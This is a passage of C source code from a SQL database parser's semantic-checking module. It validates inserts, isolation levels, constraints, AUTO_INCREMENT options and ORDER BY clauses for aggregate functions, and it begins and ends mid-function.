case PT_DIFFERENCE:
case PT_UNION:
/* stop advancing into this node */
*continue_walk = PT_LIST_WALK;
return node;
default:
/* do nothing */
*continue_walk = PT_CONTINUE_WALK;
return node;
}
/* Check current insert node */
value_clauses = node->info.insert.value_clauses;
if (value_clauses->next)
{
/* Only one row is allowed for sub-inserts */
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_DO_INSERT_TOO_MANY, 0);
if (!pt_has_error (parser))
{
PT_ERRORc (parser, node, db_error_string (3));
}
*continue_walk = PT_STOP_WALK;
return node;
}
entity_name = node->info.insert.spec->info.spec.entity_name;
if (entity_name == NULL || entity_name->info.name.db_object == NULL)
{
PT_INTERNAL_ERROR (parser, "Unresolved insert spec");
*continue_walk = PT_STOP_WALK;
return node;
}
if (sm_is_reuse_oid_class (entity_name->info.name.db_object))
{
/* Inserting Reusable OID is not allowed */
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION,
entity_name->info.name.original);
*continue_walk = PT_STOP_WALK;
return node;
}
/* check sub-inserts for this sub-insert */
if (value_clauses->info.node_list.list_type != PT_IS_SUBQUERY)
{
(void) parser_walk_tree (parser, value_clauses, pt_check_sub_insert, NULL, NULL, NULL);
if (pt_has_error (parser))
{
*continue_walk = PT_STOP_WALK;
}
}
return node;
}
/*
* pt_count_input_markers () - If the node is a input host variable marker,
* compare its index+1 against *num_ptr and record the bigger of
* the two into *num_ptr
* return:
* parser(in):
* node(in): the node to check
* arg(in/out):
* continue_walk(in):
*/
PT_NODE *
pt_count_input_markers (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
int *num_markers;
num_markers = (int *) arg;
if (pt_is_input_hostvar (node))
{
if (*num_markers < node->info.host_var.index + 1)
{
*num_markers = node->info.host_var.index + 1;
}
}
return node;
}
/*
* pt_count_output_markers () - If the node is a output host variable marker,
* compare its index+1 against *num_ptr and record the bigger of
* the two into *num_ptr
* return:
* parser(in):
* node(in): the node to check
* arg(in/out):
* continue_walk(in):
*/
PT_NODE *
pt_count_output_markers (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
int *num_markers;
num_markers = (int *) arg;
if (pt_is_output_hostvar (node))
{
if (*num_markers < node->info.host_var.index + 1)
{
*num_markers = node->info.host_var.index + 1;
}
}
return node;
}
/*
* pt_has_using_index_clause () -
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
PT_NODE *
pt_has_using_index_clause (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
bool *found = (bool *) arg;
PT_NODE *ui_node;
switch (node->node_type)
{
case PT_DELETE:
ui_node = node->info.delete_.using_index;
break;
case PT_UPDATE:
ui_node = node->info.update.using_index;
break;
case PT_SELECT:
ui_node = node->info.query.q.select.using_index;
break;
default:
ui_node = NULL;
break;
}
if (ui_node)
{
*found = true;
*continue_walk = PT_STOP_WALK;
}
return node;
}
/*
* pt_validate_query_spec () - check if a query_spec is compatible with a
* given {vclass} object
* return: an error code if checking found an error, NO_ERROR otherwise
* parser(in): handle to context used to parse the query_specs
* s(in): a query_spec in parse_tree form
* c(in): a vclass object
*/
int
pt_validate_query_spec (PARSER_CONTEXT * parser, PT_NODE * s, DB_OBJECT * c)
{
PT_NODE *attrs = NULL;
int error_code = NO_ERROR;
bool do_not_replace_orderby;
assert (parser != NULL && s != NULL && c != NULL);
/* a syntax error for query_spec */
if (pt_has_error (parser))
{
pt_report_to_ersys (parser, PT_SYNTAX);
error_code = er_errid ();
goto error_exit;
}
if (db_is_vclass (c) <= 0)
{
error_code = ER_OBJ_INVALID_ARGUMENTS;
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, error_code, 0);
goto error_exit;
}
do_not_replace_orderby = true;
s = parser_walk_tree (parser, s, pt_set_is_view_spec, (void *) &do_not_replace_orderby, NULL, NULL);
assert (s != NULL);
attrs = pt_get_attributes (parser, c);
/* apply semantic checks to query_spec */
s = pt_check_vclass_query_spec (parser, s, attrs, db_get_class_name (c), true);
if (pt_has_error (parser))
{
pt_report_to_ersys (parser, PT_SEMANTIC);
error_code = er_errid ();
goto error_exit;
}
if (s == NULL)
{
error_code = ER_GENERIC_ERROR;
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, error_code, 0);
goto error_exit;
}
s = pt_type_cast_vclass_query_spec (parser, s, attrs);
if (pt_has_error (parser))
{
pt_report_to_ersys (parser, PT_SEMANTIC);
error_code = er_errid ();
goto error_exit;
}
if (s == NULL)
{
error_code = ER_GENERIC_ERROR;
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, error_code, 0);
goto error_exit;
}
return error_code;
error_exit:
return error_code;
}
/*
* pt_check_xaction_list () - Checks to see if there is more than one
* isolation level clause or more than one timeout value clause
* return:
* parser(in):
* node(in): the node to check
*/
static void
pt_check_xaction_list (PARSER_CONTEXT * parser, PT_NODE * node)
{
int num_iso_nodes = 0;
int num_time_nodes = 0;
(void) parser_walk_tree (parser, node, pt_count_iso_nodes, &num_iso_nodes, NULL, NULL);
(void) parser_walk_tree (parser, node, pt_count_time_nodes, &num_time_nodes, NULL, NULL);
if (num_iso_nodes > 1)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GT_1_ISOLATION_LVL);
}
if (num_time_nodes > 1)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GT_1_TIMEOUT_CLAUSES);
}
}
/*
* pt_count_iso_nodes () - returns node unchanged, count by reference
* return:
* parser(in):
* node(in): the node to check
* arg(in/out): count of isolation level nodes
* continue_walk(in):
*/
static PT_NODE *
pt_count_iso_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
int *cnt = (int *) arg;
if (node->node_type == PT_ISOLATION_LVL)
{
(*cnt)++;
}
return node;
}
/*
* pt_count_time_nodes () - returns node timeouted, count by reference
* return:
* parser(in):
* node(in): the node to check
* arg(in/out): count of timeout nodes
* continue_walk(in):
*/
static PT_NODE *
pt_count_time_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
int *cnt = (int *) arg;
if (node->node_type == PT_TIMEOUT)
{
(*cnt)++;
}
return node;
}
/*
* pt_check_isolation_lvl () - checks isolation level node
* return:
* parser(in):
* node(in/out): the node to check
* arg(in):
* continue_walk(in):
*
* Note :
* checks
* 1) if isolation levels for schema & instances are compatible.
* 2) if isolation number entered, check to see if it is valid.
*/
static PT_NODE *
pt_check_isolation_lvl (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
DB_TRAN_ISOLATION cur_lvl;
int dummy;
if (node->node_type == PT_ISOLATION_LVL)
{
if (node->info.isolation_lvl.level != NULL)
{
/* assume correct type, value checking will be done at run-time */
return node;
}
/* check to make sure an isolation level has been given */
if ((node->info.isolation_lvl.schema == PT_NO_ISOLATION_LEVEL)
&& (node->info.isolation_lvl.instances == PT_NO_ISOLATION_LEVEL)
&& (node->info.isolation_lvl.async_ws == false))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_ISOLATION_LVL_MSG);
}
/* get the current isolation level in case user is defaulting either the schema or the instances level. */
(void) db_get_tran_settings (&dummy, &cur_lvl);
if (node->info.isolation_lvl.schema == PT_NO_ISOLATION_LEVEL)
{
switch (cur_lvl)
{
case TRAN_UNKNOWN_ISOLATION:
/* in this case, the user is specifying only the instance level when there was not a previous isolation
* level set. Default the schema isolation level to the instance isolation level. */
node->info.isolation_lvl.schema = node->info.isolation_lvl.instances;
break;
case TRAN_READ_COMMITTED:
case TRAN_REPEATABLE_READ:
node->info.isolation_lvl.schema = PT_REPEATABLE_READ;
break;
case TRAN_SERIALIZABLE:
node->info.isolation_lvl.schema = PT_SERIALIZABLE;
break;
}
}
if (node->info.isolation_lvl.instances == PT_NO_ISOLATION_LEVEL)
{
switch (cur_lvl)
{
case TRAN_UNKNOWN_ISOLATION:
/* in this case, the user is specifying only the schema level when there was not a previous isolation
* level set. Default the instances isolation level to the schema isolation level. */
node->info.isolation_lvl.instances = node->info.isolation_lvl.schema;
break;
case TRAN_READ_COMMITTED:
node->info.isolation_lvl.instances = PT_READ_COMMITTED;
break;
case TRAN_REPEATABLE_READ:
node->info.isolation_lvl.instances = PT_REPEATABLE_READ;
break;
case TRAN_SERIALIZABLE:
node->info.isolation_lvl.instances = PT_SERIALIZABLE;
break;
}
}
/* coercing/correcting of incompatible level happens in do_set_xaction() */
}
return node;
}
#if defined (ENABLE_UNUSED_FUNCTION)
/*
* pt_find_attr_def () - Finds the PT_NODE in attr_def_list with the same
* original_name as the given name
* return: db_user instance if user exists, NULL otherwise.
* attr_def_list(in): the list of attr_def's in a CREATE_ENTITY node
* name(in): a PT_NAME node
*/
PT_NODE *
pt_find_attr_def (const PT_NODE * attr_def_list, const PT_NODE * name)
{
PT_NODE *p;
for (p = (PT_NODE *) attr_def_list; p; p = p->next)
{
if (intl_identifier_casecmp (p->info.attr_def.attr_name->info.name.original, name->info.name.original) == 0)
{
break;
}
}
return p;
}
/*
* pt_find_cnstr_def () - Finds the PT_NODE in cnstr_def_list with the same
* original_name as the given name
* return: attribute instance iff attribute exists, NULL otherwise.
* cnstr_def_list(in): the list of constraint elements
* name(in): a PT_NAME node
*/
PT_NODE *
pt_find_cnstr_def (const PT_NODE * cnstr_def_list, const PT_NODE * name)
{
PT_NODE *p;
for (p = (PT_NODE *) cnstr_def_list; p; p = p->next)
{
if (intl_identifier_casecmp (p->info.name.original, name->info.name.original) == 0)
{
break;
}
}
return p;
}
#endif
/*
* pt_check_constraint () - Checks the given constraint appears to be valid
* return: the constraint node
* parser(in): the current parser context
* create(in): a CREATE_ENTITY node
* constraint(in): a CONSTRAINT node, assumed to have come from the
* constraint_list of "create"
*
* Note :
* Right now single-column UNIQUE and NOT NULL constraints are the only
* ones that are understood. All others are ignored (with a warning).
* Unfortunately, this can't do the whole job because at this point we know
* nothing about inherited attributes, etc. For example, someone could be
* trying to add a UNIQUE constraint to an inherited attribute, but we won't
* be able to handle it because we'll be unable to resolve the name. Under
* the current architecture the template stuff will need to be extended to
* understand constraints.
*/
static PT_NODE *
pt_check_constraint (PARSER_CONTEXT * parser, const PT_NODE * create, const PT_NODE * constraint)
{
switch (constraint->info.constraint.type)
{
case PT_CONSTRAIN_UNKNOWN:
goto warning;
case PT_CONSTRAIN_NULL:
case PT_CONSTRAIN_NOT_NULL:
case PT_CONSTRAIN_UNIQUE:
break;
case PT_CONSTRAIN_PRIMARY_KEY:
case PT_CONSTRAIN_FOREIGN_KEY:
case PT_CONSTRAIN_CHECK:
if (create->info.create_entity.entity_type != PT_CLASS)
{
goto error;
}
else
{
goto warning;
}
}
return (PT_NODE *) constraint;
warning:
PT_WARNINGmf (parser, constraint, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNIMPLEMENTED_CONSTRAINT,
parser_print_tree (parser, constraint));
return (PT_NODE *) constraint;
error:
PT_ERRORm (parser, constraint, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_NO_CONSTRAINTS);
return NULL;
}
/*
* pt_check_constraints () - Checks all of the constraints given in
* this CREATE_ENTITY node
* return: the CREATE_ENTITY node
* parser(in): the current parser context
* create(in): a CREATE_ENTITY node
*/
static PT_NODE *
pt_check_constraints (PARSER_CONTEXT * parser, const PT_NODE * create)
{
PT_NODE *constraint;
for (constraint = create->info.create_entity.constraint_list; constraint; constraint = constraint->next)
{
(void) pt_check_constraint (parser, create, constraint);
}
return (PT_NODE *) create;
}
/*
* pt_find_class_of_index () - Find the name of the class that has a given
* index (specified by its name and type)
* return: a PT_NAME node with the class name or NULL on error
* parser(in):
* index_name(in):
* index_type(in):
*
* Note:
* Only constraint types that satisfy the DB_IS_CONSTRAINT_INDEX_FAMILY
* condition will be searched for.
*/
PT_NODE *
pt_find_class_of_index (PARSER_CONTEXT * parser, const char *const index_name, const DB_CONSTRAINT_TYPE index_type)
{
PT_NODE *node = NULL;
DB_OBJECT *const class_ = db_find_class_of_index (index_name, index_type);
if (class_ == NULL)
{
return NULL;
}
node = pt_name (parser, db_get_class_name (class_));
if (node == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
return node;
}
/*
* pt_check_defaultf () - Checks to see if default function is well-formed
* return: none
* parser(in):
* node(in): the node to check
*/
static int
pt_check_defaultf (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *arg;
assert (node != NULL && node->node_type == PT_EXPR && node->info.expr.op == PT_DEFAULTF);
if (node == NULL || node->node_type != PT_EXPR || node->info.expr.op != PT_DEFAULTF)
{
PT_INTERNAL_ERROR (parser, "bad node type");
return ER_FAILED;
}
arg = node->info.expr.arg1;
/* OIDs don't have default value */
if (arg == NULL || arg->node_type != PT_NAME || arg->info.name.meta_class == PT_OID_ATTR
|| !PT_NAME_INFO_IS_FLAGED (arg, PT_NAME_DEFAULTF_ACCEPTS))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DEFAULT_JUST_COLUMN_NAME);
return ER_FAILED;
}
/* Argument of DEFAULT function should be given. So, PT_NAME_INFO_FILL_DEFAULT bit might be always set when
* expression node was created. The following assertion and defensive code will be used to handle unexpected
* situation. */
assert (PT_NAME_INFO_IS_FLAGED (arg, PT_NAME_INFO_FILL_DEFAULT) && arg->info.name.default_value != NULL);
if (!PT_NAME_INFO_IS_FLAGED (arg, PT_NAME_INFO_FILL_DEFAULT) || arg->info.name.default_value == NULL)
{
PT_INTERNAL_ERROR (parser, "bad DEFAULTF node");
return ER_FAILED;
}
/* In case of no default value defined on an attribute: DEFAULT function returns NULL when the attribute given as
* argument has UNIQUE or no constraint, but it returns a semantic error for PRIMARY KEY or NOT NULL constraint. This
* function does not return a semantic error for attributes with auto_increment because, regardless of the default
* value, NULL will not be inserted there. */
if (arg->info.name.resolved && arg->info.name.original)
{
DB_ATTRIBUTE *db_att = NULL;
db_att = db_get_attribute_by_name (arg->info.name.resolved, arg->info.name.original);
if (db_att && !db_attribute_is_auto_increment (db_att))
{
if ((db_attribute_is_primary_key (db_att) || db_attribute_is_non_null (db_att))
&& arg->info.name.default_value->node_type == PT_VALUE
&& DB_IS_NULL (&(arg->info.name.default_value->info.value.db_value)))
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OBJ_ATTRIBUTE_CANT_BE_NULL, 1, arg->info.name.original);
PT_ERRORc (parser, arg, er_msg ());
return ER_FAILED;
}
}
}
return NO_ERROR;
}
/*
* pt_check_auto_increment_table_option () - Checks that the AUTO_INCREMENT
* table option has a non-ambiguous field to apply to and that
* the respective field does not have an explicit auto_increment start
* value.
*
* NOTE: the function also modifies the parse tree by rewriting the
* table option as an AUTO_INCREMENT constraint for the respective field.
*
* return: error code
* parser(in): the current parser context
* create(in): a CREATE_ENTITY node
*/
static int
pt_check_auto_increment_table_option (PARSER_CONTEXT * parser, PT_NODE * create)
{
PT_NODE *attr = NULL;
PT_NODE *auto_inc_attr = NULL;
PT_NODE *start_val = NULL;
PT_NODE *increment_val = NULL;
PT_NODE *tbl_opt = NULL;
PT_NODE *prev_tbl_opt = NULL;
/* do we have EXACTLY ONE auto_increment node in our attr list? */
for (attr = create->info.create_entity.attr_def_list; attr != NULL; attr = attr->next)
{
if (attr->info.attr_def.auto_increment != NULL)
{
if (auto_inc_attr != NULL)
{
/* we already found an auto increment attr! */
PT_ERRORm (parser, create, MSGCAT_SET_ERROR, -(ER_AUTO_INCREMENT_SINGLE_COL_AMBIGUITY));
return ER_FAILED;
}
auto_inc_attr = attr;
}
}
if (auto_inc_attr == NULL)
{
PT_ERRORm (parser, create, MSGCAT_SET_ERROR, -(ER_AUTO_INCREMENT_SINGLE_COL_AMBIGUITY));
return ER_FAILED;
}
/* here we have exactly ONE attribute with auto_increment */
if (auto_inc_attr->info.attr_def.auto_increment->info.auto_increment.start_val != NULL)
{
/* does it already have a start value? this is not good */
PT_ERRORm (parser, create, MSGCAT_SET_ERROR, -(ER_AUTO_INCREMENT_SINGLE_COL_AMBIGUITY));
return ER_FAILED;
}
/* alter the tree */
/* locate the tbl opt, save its numeric value and destroy it */
prev_tbl_opt = NULL;
tbl_opt = create->info.create_entity.table_option_list;
while (tbl_opt != NULL)
{
if (tbl_opt->info.table_option.option == PT_TABLE_OPTION_AUTO_INCREMENT)
{
start_val = parser_copy_tree (parser, tbl_opt->info.table_option.val);
if (prev_tbl_opt != NULL)
{
prev_tbl_opt->next = tbl_opt->next;
}
else
{
create->info.create_entity.table_option_list = tbl_opt->next;
}
tbl_opt->next = NULL;
parser_free_tree (parser, tbl_opt);
break;
}
prev_tbl_opt = tbl_opt;
tbl_opt = tbl_opt->next;
}
/* add the two nodes to the attribute definition */
increment_val = pt_make_integer_value (parser, 1);
if (start_val == NULL || increment_val == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NO_ERROR;
}
auto_inc_attr->info.attr_def.auto_increment->info.auto_increment.start_val = start_val;
auto_inc_attr->info.attr_def.auto_increment->info.auto_increment.increment_val = increment_val;
return NO_ERROR;
}
/*
* pt_check_group_concat_order_by () - checks an ORDER_BY clause of a
* GROUP_CONCAT aggregate function;
* if the expression or identifier from
* ORDER BY clause matches an argument of function,
* the ORDER BY item is converted into associated
* number.
* return:
* parser(in):
* query(in): query node has ORDER BY
*
*
* Note :
*
* Only one order by item is supported :
* - if it is an INTEGER, make sure it does not exceed the number of items
* in the argument list.
* - if it is a path expression, match it with an argument in the
* function's argument list and replace the node with a PT_VALUE
* with corresponding number.
* - if it doesn't match, an error is issued.
*/
static int
pt_check_group_concat_order_by (PARSER_CONTEXT * parser, PT_NODE * func)
{
PT_NODE *arg_list = NULL;
PT_NODE *order_by = NULL;
PT_NODE *arg = NULL;
PT_NODE *temp, *order;
int n, i, arg_list_len;
int error = NO_ERROR;
PT_NODE *group_concat_sep_node_save = NULL;
assert (func->info.function.function_type == PT_GROUP_CONCAT);
/* get ORDER BY clause */
order_by = func->info.function.order_by;
if (order_by == NULL)
{
goto error_exit;
}
arg_list = func->info.function.arg_list;
if (arg_list == NULL)
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_INTERNAL_FUNCTION, "GROUP_CONCAT");
goto error_exit;
}
/* remove separator from list of arguments */
group_concat_sep_node_save = func->info.function.arg_list->next;
func->info.function.arg_list->next = NULL;
/* save original length of select_list */
arg_list_len = pt_length_of_list (arg_list);
for (order = order_by; order != NULL; order = order->next)
{
/* get the EXPR */
PT_NODE *r = order->info.sort_spec.expr;
if (r == NULL)
{ /* impossible case */
continue;
}
if (PT_IS_LOB_TYPE (r->type_enum))
{
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_ORDERBY_ALLOWED,
pt_short_print (parser, r));
goto error_exit;
}
/* if a good integer, done */
if (r->node_type == PT_VALUE)
{
if (r->type_enum == PT_TYPE_INTEGER)
{
n = r->info.value.data_value.i;
/* check size of the integer */
if (n > arg_list_len || n < 1)
{
error = MSGCAT_SEMANTIC_SORT_SPEC_RANGE_ERR;
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error, n);
/* go ahead */
}
else
{
/* goto associated argument: */
for (arg = arg_list, i = 1; i < n; i++)
{
arg = arg->next;
}
}
}
else
{
error = MSGCAT_SEMANTIC_SORT_SPEC_WANT_NUM;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
/* go ahead */
}
}
else
{
char *r_str = NULL;
/* not an integer value. Try to match with something in the select list. */
n = 1; /* a counter for position in select_list */
if (r->node_type != PT_NAME && r->node_type != PT_DOT_)
{
r_str = parser_print_tree (parser, r);
}
for (arg = arg_list; arg != NULL; arg = arg->next)
{
/* if match, break; */
if (r->node_type == arg->node_type)
{
if (r->node_type == PT_NAME || r->node_type == PT_DOT_)
{
if (pt_check_path_eq (parser, r, arg) == 0)
{
break; /* match */
}
}
else
{
if (pt_str_compare (r_str, parser_print_tree (parser, arg), CASE_INSENSITIVE) == 0)
{
break; /* match */
}
}
}
n++;
}
/* if end of list -> error : currently aggregate functions don't support other order by expression than
* arguments */
if (arg == NULL)
{
error = MSGCAT_SEMANTIC_GROUP_CONCAT_ORDERBY_SAME_EXPR;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
/* go ahead */
}
else
{
/* we got a match=n, Create a value node and replace expr with it */
temp = parser_new_node (parser, PT_VALUE);
if (temp == NULL)
{
error = MSGCAT_SEMANTIC_OUT_OF_MEMORY;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
}
else
{
temp->type_enum = PT_TYPE_INTEGER;
temp->info.value.data_value.i = n;
pt_value_to_db (parser, temp);
parser_free_tree (parser, r);
order->info.sort_spec.expr = temp;
}
}
}
if (error != NO_ERROR)
{ /* something wrong, exit */
goto error_exit;
}
/* at this point <n> contains the sorting position : either specified in statement or computed, and <arg> is the
* corresponding function argument */
assert (arg != NULL);
assert (n > 0 && n <= arg_list_len);
/* set order by position num */
order->info.sort_spec.pos_descr.pos_no = n;
/* set order_by domain info */
if (arg->type_enum != PT_TYPE_NONE && arg->type_enum != PT_TYPE_MAYBE)
{ /* is resolved */
order->info.sort_spec.pos_descr.dom = pt_xasl_node_to_domain (parser, arg);
}
}
assert (func->info.function.order_by->next == NULL);
error_exit:
if (group_concat_sep_node_save != NULL)
{
func->info.function.arg_list->next = group_concat_sep_node_save;
}
return error;
}
/*
* pt_check_cume_dist_percent_rank_order_by () - checks an ORDER_BY clause of a
* CUME_DIST aggregate function;
* if the expression or identifier from
* ORDER BY clause matches an argument of function,
* the ORDER BY item is converted into associated
* number.
* return: NO_ERROR or error_code
* parser(in):
* func(in):
*
*
* Note :
* We need to check arguments and order by,
* because the arguments must be constant expression and
* match the ORDER BY clause by position.
*/
static int
pt_check_cume_dist_percent_rank_order_by (PARSER_CONTEXT * parser, PT_NODE * func)
{
PT_NODE *arg_list = NULL;
PT_NODE *order_by = NULL;
PT_NODE *arg = NULL;
PT_NODE *order = NULL;
PT_NODE *order_expr = NULL;
DB_OBJECT *obj = NULL;
DB_ATTRIBUTE *att = NULL;
TP_DOMAIN *dom = NULL;
DB_VALUE *value = NULL;
int i, arg_list_len, order_by_list_len;
int error = NO_ERROR;
const char *func_name;
/* get function name for ERROR message */
if (func->info.function.function_type == PT_CUME_DIST)
{
func_name = "CUME_DIST";
}
else if (func->info.function.function_type == PT_PERCENT_RANK)
{
func_name = "PERCENT_RANK";
}
else
{
assert (false);
return ER_FAILED;
}
/* first check if the arguments are constant */
arg_list = func->info.function.arg_list;
order_by = func->info.function.order_by;
/* for analytic function */
if (func->info.function.analytic.is_analytic)
{
if (arg_list != NULL || order_by != NULL)
{
error = ER_FAILED;
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_INTERNAL_FUNCTION, func_name);
}
goto error_exit;
}
/* aggregate function */
if (arg_list == NULL || order_by == NULL)
{
error = ER_FAILED;
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_INTERNAL_FUNCTION, func_name);
goto error_exit;
}
/* save original length of select_list */
arg_list_len = pt_length_of_list (arg_list);
order_by_list_len = pt_length_of_list (order_by);
if (arg_list_len != order_by_list_len)
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNMACHTED_ARG_ORDER, func_name);
goto error_exit;
}
arg = arg_list;
order = order_by;
for (i = 0; i < arg_list_len; i++)
{
/* check argument type: arguments must be constant */
if (!pt_is_const_expr_node (arg))
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_CONSTANT_PARAMETER, func_name);
goto error_exit;
}
/* check order by */
order_expr = order->info.sort_spec.expr;
if (order->node_type != PT_SORT_SPEC || (order_expr->node_type != PT_NAME && order_expr->node_type != PT_VALUE)
|| PT_IS_LOB_TYPE (order_expr->type_enum))
{
PT_ERRORmf (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_FUNCTION_ORDERBY, func_name);
goto error_exit;
}
if (order_expr->node_type == PT_NAME)
{
/* check if the arg matches order by clause by position */
dom = NULL;
obj = db_find_class (order_expr->info.name.resolved);
if (obj != NULL)
{
att = db_get_attribute (obj, order_expr->info.name.original);
if (att != NULL)
{
dom = att->domain;
}
}
/* Note: it is possible that class is not found. i.e. 'select PERCENT_RANK(null,3) within group (order by
* score,score1) from (select NULL score,'00001' score1 from db_root) S;' We just let it go if an attribute
* could not be found. */
/* for common values */
if (arg->node_type == PT_VALUE && dom != NULL)
{
value = &arg->info.value.db_value;
error = db_value_coerce (value, value, dom);
if (error != NO_ERROR)
{
PT_ERRORmf2 (parser, func, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANT_COERCE_TO,
pt_short_print (parser, arg), pt_show_type_enum (order_expr->type_enum));
goto error_exit;
}
}
}
/* to next */
order->info.sort_spec.pos_descr.pos_no = i + 1;
arg = arg->next;
order = order->next;
}
error_exit:
return error;
}
/*
* pt_has_parameters () - check if a statement uses session variables
* return : true if the statement uses session variables
* parser (in) : parser context
* stmt (in) : statement
*/
static bool
pt_has_parameters (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
bool has_paramenters = false;
parser_walk_tree (parser, stmt, pt_is_parameter_node, &has_paramenters, NULL, NULL);
return has_paramenters;
}
/*
* pt_is_parameter_node () - check if a node is a session variable
* return : node
* parser (in) : parser context
* node (in) : node
* arg (in) :
* continue_walk (in) :
*/
static PT_NODE *
pt_is_parameter_node (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
bool *is_parameter = (bool *) arg;
*continue_walk = PT_CONTINUE_WALK;
if (*is_parameter)
{
/* stop checking, there already is a parameter in the statement */
return node;
}
if (node->node_type == PT_EXPR)
{
if (node->info.expr.op == PT_EVALUATE_VARIABLE || node->info.expr.op == PT_DEFINE_VARIABLE)
{
*is_parameter = true;
*continue_walk = PT_STOP_WALK;
}
}
return node;
}
/*
* pt_resolve_sort_spec_expr - resolves a sort spec expression
* returns: parser node or NULL on error
* sort_spec(in): PT_SORT_SPEC node whose expression must be resolved
* select_list(in): statement's select list for PT_VALUE lookup
*/
static PT_NODE *
pt_resolve_sort_spec_expr (PARSER_CONTEXT * parser, PT_NODE * sort_spec, PT_NODE * select_list)
{
PT_NODE *expr, *resolved;
if (parser == NULL || sort_spec == NULL)
{
/* nothing to do */
return NULL;
}
if (sort_spec->node_type != PT_SORT_SPEC)
{
PT_INTERNAL_ERROR (parser, "expecting a sort spec");
return NULL;
}
expr = sort_spec->info.sort_spec.expr;
if (expr == NULL)
{
PT_INTERNAL_ERROR (parser, "null sort expression");
return NULL;
}
if (expr->node_type == PT_EXPR && expr->info.expr.op == PT_UNARY_MINUS)
{
PT_ERRORm (parser, sort_spec, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_WANT_NUM);
return NULL;
}
else if (expr->node_type != PT_VALUE)
{
return expr;
}
/* we have a PT_VALUE sort expression; look it up in select list */
if (expr->type_enum == PT_TYPE_INTEGER)
{
int index = expr->info.value.data_value.i;
resolved = pt_get_node_from_list (select_list, index - 1);
if (resolved != NULL)
{
return resolved;
}
else
{
PT_ERRORmf (parser, sort_spec, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_RANGE_ERR, index);
return NULL;
}
}
else
{
PT_ERRORm (parser, sort_spec, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_WANT_NUM);
return NULL;
}
}
/*
* pt_compare_sort_spec_expr - compare two sort expressions
* returns: true if expressions are the same, false otherwise
* expr1(in): first expression
* expr2(in): second expression
*/
static bool
pt_compare_sort_spec_expr (PARSER_CONTEXT * parser, PT_NODE * expr1, PT_NODE * expr2)
{
if (parser == NULL || expr1 == NULL || expr2 == NULL)
{
return false;
}
if ((expr1->node_type == PT_NAME || expr1->node_type == PT_DOT_)
&& (expr2->node_type == PT_NAME || expr2->node_type == PT_DOT_))
{
/* we have comparable names */
if (pt_check_path_eq (parser, expr1, expr2) == 0)
{
/* name match */
return true;
}
}
else
{
/* brute method, compare printed trees */
char *str_expr = parser_print_tree (parser, expr1);
char *str_spec_expr = parser_print_tree (parser, expr2);
if (pt_str_compare (str_expr, str_spec_expr, CASE_INSENSITIVE) == 0)
{
/* match */
return true;
}
}
/* no match */
return false;
}
/*
* pt_find_matching_sort_spec - find a matching sort spec in a spec list
* return: match or NULL
* parser(in): parser context
* spec(in): sort spec to look for
* spec_list(in): sort spec list to look into
* select_list(in): statement's select list, for PT_VALUE lookup
*/
static PT_NODE *
pt_find_matching_sort_spec (PARSER_CONTEXT * parser, PT_NODE * spec, PT_NODE * spec_list, PT_NODE * select_list)
{
PT_NODE *spec_expr, *expr;
if (parser == NULL || spec == NULL || spec_list == NULL)
{
/* nothing to do here */
return NULL;
}
/* fetch sort expression */
spec_expr = pt_resolve_sort_spec_expr (parser, spec, select_list);
if (spec_expr == NULL)
{
return NULL;
}
/* iterate list and check for match */
while (spec_list)
{
/* fetch sort expression */
expr = pt_resolve_sort_spec_expr (parser, spec_list, select_list);
if (expr == NULL)
{
